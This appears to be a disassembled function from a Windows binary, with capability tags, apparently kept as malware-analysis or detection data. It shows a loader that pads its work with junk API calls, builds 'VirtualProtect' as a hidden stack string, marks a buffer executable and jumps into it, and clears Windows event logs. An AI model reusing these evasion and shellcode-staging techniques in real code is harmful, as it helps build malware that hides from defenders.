Function at 0x4252c0
Capabilities:
Access the windows event log
Allocate or change rwx memory
Clear windows event logs
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file attributes
Manipulate console buffer
Move file
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4265ac
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2700
call fcn.00412600
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0xe4]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
cmp esi, 0x2cdbe
jge 0x42530f
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call edi
cmp dword [0x7afce4], 0x6fb
jne 0x42532d
push 0
lea eax, [esp + 0x314]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
cmp esi, 0x1e9afa0a
jle 0x425345
cmp ebx, 0xc10c98
je 0x425345
cmp ebp, 0x952fcbc
jne 0x42534e
inc esi
cmp esi, 0x80c66
jl 0x4252fd
cmp dword [0x7afce4], 0xcf8
jne 0x4254f8
lea ecx, [esp + 0xd4]
push ecx
push 0
push 0x403fa0
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpGetProxyForUrl]
cmp dword [0x7afce4], 0x3a
jne 0x42539d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
lea edx, [esp + 0x310]
push edx
push 0
push 0x403fd8
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
xor ebp, ebp
push ebp
call fcn.0040750d
add esp, 4
push ebp
push ebp
call fcn.004073d1
add esp, 8
lea eax, [esp + 0x30]
push eax
call fcn.004055b0
push ebp
push ebp
call fcn.004074cd
push ebp
push ebp
call fcn.004074cd
push ebp
call fcn.004075e1
mov edx, dword [esp + 0x44]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x9c]
add esp, 0x14
mov dword [esp + 0x14], ecx
mov dword [esp + eax + 0x30], 0x40417c
mov dword [esp + 0x271c], ebp
test byte [esp + 0x80], 1
lea ecx, [esp + 0x40]
mov dword [esp + 0x20], ecx
mov dword [esp + 0x40], 0x40413c
je 0x42541d
mov edx, dword [esp + 0x50]
mov eax, dword [edx]
push eax
call fcn.004075d6
add esp, 4
mov eax, dword [esp + 0x50]
mov dword [eax], ebp
mov ecx, dword [esp + 0x60]
mov dword [ecx], ebp
mov edx, dword [esp + 0x70]
mov dword [edx], ebp
mov eax, dword [esp + 0x54]
mov dword [eax], ebp
mov ecx, dword [esp + 0x64]
mov dword [ecx], ebp
mov edx, dword [esp + 0x74]
mov dword [edx], ebp
and dword [esp + 0x80], 0xfffffffe
mov dword [esp + 0x7c], ebp
mov dword [esp + 0x40], 0x4040f4
mov byte [esp + 0x271c], 1
mov eax, dword [esp + 0x78]
mov ebx, eax
cmp eax, ebp
je 0x4254b2
mov edi, dword [eax]
cmp edi, ebp
je 0x4254a9
push ebp
lea ecx, [esp + 0x1c]
call fcn.00406a42
mov eax, dword [edi + 4]
cmp eax, ebp
jbe 0x425487
cmp eax, 0xffffffff
jae 0x425487
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x18]
and esi, edi
call fcn.00406a6a
cmp esi, ebp
je 0x4254a9
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
push ebx
call fcn.004075d6
add esp, 4
lea ecx, [esp + 0x44]
mov byte [esp + 0x271c], 0
call fcn.00406a9b
mov dword [esp + 0x271c], 0xffffffff
mov eax, dword [esp + 0x30]
mov ecx, dword [eax + 4]
lea edx, [esp + 0x88]
mov dword [esp + ecx + 0x30], 0x404134
push edx
mov dword [esp + 0x8c], 0x4040e4
call fcn.0040664e
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
xor esi, esi
cmp esi, 0x408
jne 0x425513
mov eax, 0x5d1
add dword [0x7afce4], eax
cmp dword [0x7afce4], 3
jne 0x425543
xor eax, eax
lea edx, [esp + 0x20]
push edx
push eax
push eax
push 0x404028
push eax
mov dword [esp + 0x28], eax
call edi
push 0
push 0
lea ecx, [esp + 0x718]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
inc esi
cmp esi, 0x1518d4
jl 0x425500
mov edx, dword [0x7afce4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x430d34], eax
mov eax, dword [0x7afce4]
xor esi, esi
test eax, eax
je 0x4255ab
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
cmp eax, 0xfe
jne 0x425582
push 0
call ebx
call fcn.00424ec0
mov eax, dword [0x7afce4]
cmp eax, 0x29
jne 0x4255a6
push 0
push 0
lea eax, [esp + 0x718]
push eax
push 0
call edi
mov eax, dword [0x7afce4]
inc esi
cmp esi, eax
jb 0x425577
cmp eax, 0x70
jne 0x42569c
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
mov esi, dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
push 0
call esi
push 0
push 0x404048
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea ecx, [esp + 0x1f10]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
lea edx, [esp + 0x1714]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0
lea eax, [esp + 0x314]
push eax
push 0
call dword [sym.imp.KERNEL32.dll__hread]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
push 0
push 0
lea ecx, [esp + 0xf18]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
push 0
push 0
call esi
push 0
lea edx, [esp + 0x714]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
mov eax, dword [0x7afce4]
mov edi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov ebp, dword [sym.imp.KERNEL32.dll_FindClose]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov dword [esp + 0x18], 0x9682ab
lea esp, [esp]
cmp eax, 0xdf
jne 0x4257c4
push 0
push 0
push 0
call edi
push 0
call ebp
xor eax, eax
lea edx, [esp + 0x20]
push edx
push eax
push eax
lea ecx, [esp + 0xf1c]
push ecx
push eax
mov dword [esp + 0x28], eax
call ebx
lea edx, [esp + 0x24]
push edx
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
push 0
lea edx, [esp + 0x1714]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
lea eax, [esp + 0xe0]
push eax
push 0x404050
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringA]
lea ecx, [esp + 0x1f10]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [0x7afce4]
dec dword [esp + 0x18]
jne 0x4256c0
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov esi, 0x1ff896f4
lea esp, [esp]
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x4257e0
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x42bfa0
mov dword [0x42bfa4], 0x32336c65
mov dword [0x42bfa8], 0x6c6c642e
mov dword [0x42bfa0], 0x6e72656b
mov byte [0x42bfac], 0
call ebp
mov ecx, dword [0x430d34]
lea edx, [esp + 0x1c]
push edx
mov dword [0x7afce0], eax
mov eax, dword [0x7afce4]
push 0x40
push eax
push ecx
mov byte [0x42bfab], 0x65
mov dword [0x42bfa1], 0x75747269
mov word [0x42bfa5], 0x6c61
mov byte [0x42bfa0], 0x56
mov word [0x42bfac], 0x7463
mov byte [0x42bfae], 0
mov dword [0x42bfa7], 0x746f7250
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00425100
mov edi, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
jmp 0x425890
cmp dword [0x7afce4], 0xba
jne 0x4258a2
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x4258b5
mov eax, 0x269c
add dword [0x430d34], eax
inc esi
cmp esi, 0x1605a
jl 0x425890
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
mov ebx, 0x1e6dcb
nop
cmp dword [0x7afce4], 0x85
jne 0x4258ea
push 0
call esi
push 0
push 0
push 0
push 0
call edi
dec ebx
jne 0x4258d0
push 0x42bfa0
mov dword [0x42bfa2], 0x33676d69
mov word [0x42bfa0], 0x736d
mov dword [0x42bfa8], 0x6c6c64
mov word [0x42bfa6], 0x2e32
call ebp
cmp dword [0x7afce4], 0xc30
jne 0x4259e0
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateConsoleScreenBuffer]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea edx, [esp + 0x1d0]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
push ebx
lea eax, [esp + 0x20]
push eax
push ebx
lea ecx, [esp + 0x71c]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push 0x404058
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
lea edx, [esp + 0xf14]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
lea eax, [esp + 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
push ebx
lea ecx, [esp + 0x314]
push ecx
push 0x4040c8
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea edx, [esp + 0x120]
push edx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov eax, dword [esp + 0x1c]
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
mov ecx, dword [esp + 0x2714]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret